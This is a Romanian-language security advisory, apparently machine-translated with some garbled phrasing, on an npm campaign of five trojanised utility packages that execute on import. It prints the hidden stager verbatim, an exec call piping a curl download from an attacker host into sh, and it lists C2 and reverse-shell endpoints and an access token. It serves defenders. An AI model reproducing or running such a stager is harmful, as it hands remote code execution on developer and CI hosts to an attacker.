TL; DR
Un singur operator npm publicat cinci pachete troienizate în două runde în trei zile. Pachetele se prezintă drept mici utilitare terminal-color, logger și Postgres-client. Codul malițios rulează momentul în care pachetul este importat — nu există niciun script de instalare de detectat.
Runda unu (neon-terminal, neon-postgres, ne-logger) a fost nepublicată pe 05.07.2026 la 14:14 UTC. Șaptezeci și patru de minute mai târziu același cont a republicat același troian sub nume noi (agn-terminal, agn-logger) — și l-a îndreptat spre același punct final de comandă și control a folosit înainte: tracker.bvgroup.co.
Gazda C2 este singurul indicator care supraviețuiește redenumirii și cel mai rapid lucru pe care un apărător îl poate căuta. Severitate: înaltEcosistem: NPMPachetele din runda a doua erau încă disponibile la momentul scrierii acestui articol.
Atacul: cum funcționează
Pachetele sunt momeli funcționale. Deschideți terminal agn și găsești un instrument complet și funcțional de asistență a culorilor ANSI — Coduri, suportăColor, colorează, vopsea — cu tipuri și un fișier README. Codul utilitar funcționează. Prinse în partea de sus a modulului de intrare, deasupra codului util, se află câteva linii care rulează la import.
// agn-terminal 0.1.0 — src/index.js (top of module)
import { exec } from "node:child_process";
const child = exec(
"curl -fsSL https://remote.agyn.org/remote.sh | " +
"TRACKER_REMOTE_ENDPOINT='https://tracker.bvgroup.co/remote/…' sh",
{}, (error, stdout, stderr) => {},
);
Trei lucruri fac acest lucru eficient.
- Se declanșează la import, nu la instalare. Pachetul declară că nu preinstalare or postinstalare cârlig — locul obișnuit în care scanerii și recenzorii caută. Exec apelul este cod la nivel de modul. Se execută prima dată când ceva face require(„terminal-agn”) or importă „agn-terminal”, pe mașina dezvoltatorului sau în interiorul CI. Atât intrarea ESM (src / index.js) și intrarea CommonJS (cjs/src/index.js) transportă aceeași sarcină utilă, astfel încât ambele sisteme de module sunt acoperite.
- Adevărata sarcină utilă se află în afara pachetului. Pachetul conține doar un stager cu o singură linie: fetch remote.agyn.org/remote.sh` și trimiteți-l prin pipe către sh`. Oricare ar fi valoarea servită de operatorul de la adresa URL respectivă la momentul solicitării, aceasta este cea care rulează. Punctul final C2 este transmis scriptului descărcat prin intermediul TRACKER_REMOTE_ENDPOINT variabilă de mediu, deci scriptul din etapa a doua sună acasă la tracker.bvgroup.co.
- Un pachet purtător lărgește raza exploziei. agn-logger este o a doua momeală — un „mic înregistrator global”. Nu are o sarcină utilă proprie. Modulul său de intrare face un lucru relevant:
// agn-logger 0.1.0 — cjs/src/index.js
const { colorize, supportsColor } = require('agn-terminal');
Se declară terminal agn ca dependență și o importă. Instalarea sau importul logger-ului extrage și declanșează pachetul terminal tranzitoriu. Un proiect care nu denumește niciodată direct troianul îl poate executa în continuare prin logger.
Ce este nou aici
Prima rundă nu a folosit un stager la distanță. A livrat sarcina utilă în linie și a escaladat-o versiune cu versiune — un shell invers bash într-o singură versiune, un net.Socket coajă inversă în următoarea, o git add/commit/ apăsare din directorul de lucru al victimei în altul și, în final, un agent complet de comandă și control HTTP în terminal de neon 0.9.0 care a înregistrat gazda, a interogat sarcini, le-a rulat cu exec()și a transmis înapoi ieșirea codificată în base64. A doua rundă comprimă toate acestea într-o singură buclă | sh, mutând complet etapa a doua din registru. Același operator, pachet mai silențios, sarcină utilă mai flexibilă — și, în mod esențial, același C2 ca înainte.
Companiei
| Data (UTC) | eveniment |
|---|---|
| 2026-07-03 07:03 | Prima rundă publicată: neon-terminal (0.1.0 curat, apoi 0.2.0–0.9.0 rău intenționat), neon-postgres 3.5.2, ne-logger 0.7.0 |
| 2026-07-03 07:05 | neon-terminal semnalizat în scanarea în timp real |
| 2026-07-04 | Confirmat ca fiind rău intenționat; corelația scoate la iveală cele două pachete surori; primele încercări de eliminare au fost depuse. |
| 2026-07-05 14:14 | Prima rundă nepublicată — toate cele opt neon-terminal versiuni plus frați eliminați |
| 2026-07-05 15:28 | agn-terminal 0.1.0 publicat |
| 2026-07-05 15:29 | agn-logger 0.1.0 publicat — transportator pentru noul pachet de terminale |
| 05 decembrie 2026 (în desfășurare) | Pachetele pentru runda a doua sunt disponibile la momentul scrierii acestui articol |
Cele două runde au loc la trei zile distanță, iar intervalul dintre eliminare și relansare a fost de 74 de minute. Campania este deschisă: agn-* pachetele nu fuseseră îndepărtate când a fost scris acest text.
Indicatori de compromis
Căutați în fișierele de blocare și în arborii de dependențe numele pachetelor. Căutați în proxy, DNS și EDR jurnalele pentru punctele de terminare ale rețelei. Gazda C2 tracker.bvgroup.co se întinde pe ambele runde și este indicatorul individual cu cea mai mare valoare.
Pachete
| Pachet | versiuni | Rol | Stare |
|---|---|---|---|
neon-terminal | 0.2.0–0.9.0 | troian (sarcini utile inline → HTTP C2) | nepublicat |
neon-postgres | 3.5.2 | troian (sarcină utilă în src/errors.js) | nepublicat |
ne-logger | 0.7.0 | transportator (depinde de neon-terminal) | nepublicat |
agn-terminal | 0.1.0 | troian (curl | sh persoană cu experienţă) | trăi |
agn-logger | 0.1.0 | transportator (depinde de agn-terminal) | trăi |
terminal de neon Versiunea 0.1.0 a fost o versiune inițială curată — o bibliotecă de culori funcțională fără nicio sarcină utilă — publicată pentru a stabili pachetul înainte ca versiunile rău intenționate să apară.
Reţea
| Indicator | Context |
|---|---|
tracker.bvgroup.co/remote/… | HTTP C2, ambele runde (tokenul runda a doua) t42xNzaT2SnXbS_PsZ3gKDY-keTufZ2J) |
remote.agyn.org/remote.sh | încărcător runda a doua, etapa unu |
reverse.bvgroup.co:443 | punct final de tip shell inversat de prima rundă (neon-terminal 0.6.0) |
6.tcp.eu.ngrok.io:28754 | cochilie inversată rotundă unu (neon-terminal 0.3.0) |
2.tcp.eu.ngrok.io:25852 | cochilie inversată rotundă unu (neon-terminal 0.4.0) |
bvgroup.co, agyn.org, agyn.io | domenii controlate de operatori |
Comportamental
- La nivel de modul proces_copil.exec în partea de sus a fișierului de intrare al unui pachet utilitar, în ambele src / index.js (MES) și cjs/src/index.js (CJS).
- A curl -fsSL … | sh replică cu C2 trecut printr-un TRACKER_REMOTE_ENDPOINT variabilă de mediu.
- Un al doilea pachet „utilitar” care îl declară pe primul ca dependență și îl importă, fără o sarcină utilă proprie.
- O restură // terminal-neon comentariu în partea de sus a terminal agn — un artefact copiat și lipit care leagă rebranding-ul de original.
Coduri hash de fișiere (SHA-256, runda a doua)
- terminal agn src / index.js - 6d464cedf64f3a26fb8f5e61ee5730fe42be4135aa87429aeb514c4f97209bc7
- terminal agn cjs/src/index.js - b85e80056a7607c49add12c1626881392a28e7d0e146e49a856d84725cfb46ac
- agn-logger src / index.js - 667a858c749d058d4546654cdda59e963a1a0cba97900feeb96753c2d768ff19
Atribuire și comportament observat
Fiecare pachet este urmărit către un cont npm, vitalii-agyn, publicând sub adresa de e-mail neverificată vitalii@agyn.ioMetadatele din registrul propriu al contului listează toate cele trei pachete runda unu, așa cum sunt întreținute de acesta. Infrastructura leagă rundele între ele: domeniul agyn.org se potrivește cu cel al editorului agyn.io domeniul de e-mail și gazda C2 tracker.bvgroup.co apare în ambele terminal de neon 0.9.0 și terminal agn 0.1.0 — aceeași cale de colector, reutilizată ad litteram după redenumire.
Descriem ce arată artefactele și ne oprim aici. Adresa de e-mail declarată de editor este vitalii@agyn.io; nu am verificat dreptul de proprietate asupra adresei respective și nu atribuim contul niciunei persoane sau grup numit. Reutilizarea unui punct final C2 în două familii de pachete este un semnal puternic al aceluiași operator, nu o identitate.
Pachetele rundei unu s-au bazat pe apropierea de marcă. neon-postgres a fost o clonă completă a modelului Porsager, utilizat pe scară largă postgres.js client, cu slogan și tot, cu sarcina utilă introdusă în src/errors.js deci o cale de import obișnuită ar ajunge la ea — și neon- prefixul împrumută recognoscibilitatea lui Neon, furnizorul Postgres fără server. Numele din runda a doua au renunțat la uzurparea identității și au devenit generice (terminal agn, agn-logger), renunțând la influența mărcii pentru o pauză mai clară de la numele arse.
Impact, tendințe și îndrumări pentru apărători
- Cine este expus. Oricine instalează și importă unul dintre aceste pachete, direct sau prin intermediul operatorului de transport, pe o gazdă de tip Unix. Stager-ul folosește răsuci și shcartușele rotunde folosesc pocni și /dev/tcpDeoarece execuția are loc la import, este suficient un server de compilare care instalează dependența și rulează orice cod care o atinge — nu este necesar niciun pas post-instalare. Pe o stație de lucru pentru dezvoltatori sau un ruler CI, etapa a doua descărcată rulează cu privilegiile utilizatorului și acoperirea completă a rețelei.
- De ce este importantă execuția în momentul importului. Apărarea lanțului de aprovizionare s-a concentrat pe scripturile de instalare, și pe bună dreptate - postinstalarea este punctul de sprijin clasic al NPM. Această campanie ocolește complet acest lucru. Nu există niciun hook de instalare de semnalat. cod rău intenționat este o inițializare obișnuită a unui modul, imposibil de distins dintr-o privire de un pachet care calculează un tabel de căutare la încărcare. Instrumentele care inspectează doar scripturile din package.json nu văd nimic.
- Tendința de rebranding și reutilizare. Răsturnarea de 74 de minute este povestea. Takedown a eliminat numele, dar nu și operatorul, infrastructura sau codul. În decurs de o oră, campania a fost din nou activă sub nume noi care indicau același C2. Blocarea bazată pe nume - denylisting neon-terminal - ar fi fost deja învechită. Blocarea bazată pe infrastructură - denylisting bvgroup.co - ar fi prins a doua rundă la sosire. Pentru un operator activ care republică mai repede decât elimină registrele, indicatorul durabil este punctul final al rețelei, nu numele pachetului.
Ce e de făcut acum
- Fișierele de blocare Grep și arborile instalate pentru toate cele cinci nume de pachete de mai sus. Tratați orice potrivire ca o gazdă compromisă și rotiți acreditările accesibile de la aceasta.
- Blocare și alertă pe domenii bvgroup.co, agyn.orgși punctele finale ngrok din DNS și filtrarea de ieșire. tracker.bvgroup.co este prioritatea.
- Nu vă bazați doar pe scanarea hook-urilor de instalare. Adăugați detecție la nivel de modul. proces_copil și apeluri de rețea în dependențe și pentru buclă … | sh șabloane în sursa pachetului.
- Tratați un pachet de utilitare care declară un alt utilitar obscur ca fiind singura sa dependență și îl importă la încărcare, ca merită o a doua analiză.
- În CI, preferă –Ignore-scripturi acolo unde este practic, dar să înțelegeți că nu ajută aici - sarcina utilă rulează la import, deci controalele de ieșire la momentul execuției și revizuirea dependențelor contează mai mult.
Referinte
- Postgres fără server Neon — marca neon-* numele împrumută recognoscibilitate de la.
- Porsager postgres.js — clientul neon-postgres clonat.






